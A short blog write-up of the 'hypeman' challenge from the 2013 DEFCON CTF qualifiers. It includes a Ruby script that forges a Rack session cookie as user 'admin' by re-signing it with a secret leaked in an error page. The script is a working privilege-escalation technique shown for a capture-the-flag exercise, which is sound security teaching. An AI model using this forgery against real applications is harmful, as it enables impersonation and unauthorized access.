hypeman - DEFCON CTF quals 2013

Posted by sebbe on 19 Jun 2013

Challenge description:


We are greeted by a login box, as well as a link to some secrets.

welcome screen

Picking an unused username allows for login to the secrets listing.


On the list, one secret in particular stands out; the one titled "key", posted by "admin". Attempting to access it, however, reveals a runtime error with a stack trace. In the stack trace, one can see, that the only the user that posted a secret can view it.

runtime error

A bit of a read through the error page shows, that the page runs on Rack. The page also shows, that the cookie contains, among other things, the username of the current user. (In fact, anything stored in the rack.session variable, see the relevant implementation) However, this cookie is signed based on a site secret.

cookie and secret

Luckily, the runtime error was also nice enough to leak this for us. This allowed us to write the following script, which takes a valid cookie, and rewrites it to have username admin.

require 'openssl'
require 'open-uri'


session_data, digest = session_data.split("--")
session_data = session_data.unpack("m*").first
session_data = Marshal.load(session_data)

session_data["user_name"] = "admin"

session_data = Marshal.dump(session_data)
session_data = [session_data].pack("m*")

hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, "wroashsoxDiculReejLykUssyifabEdGhovHabno", session_data)

session_data = "#{session_data}--#{hmac}"

session_data = URI::encode(session_data)
session_data = session_data.gsub("=", "%3D")

print session_data

Swapping our old cookie for the new one yielded the key. (...and not prefixed by "The key is: ", might I add!)

the key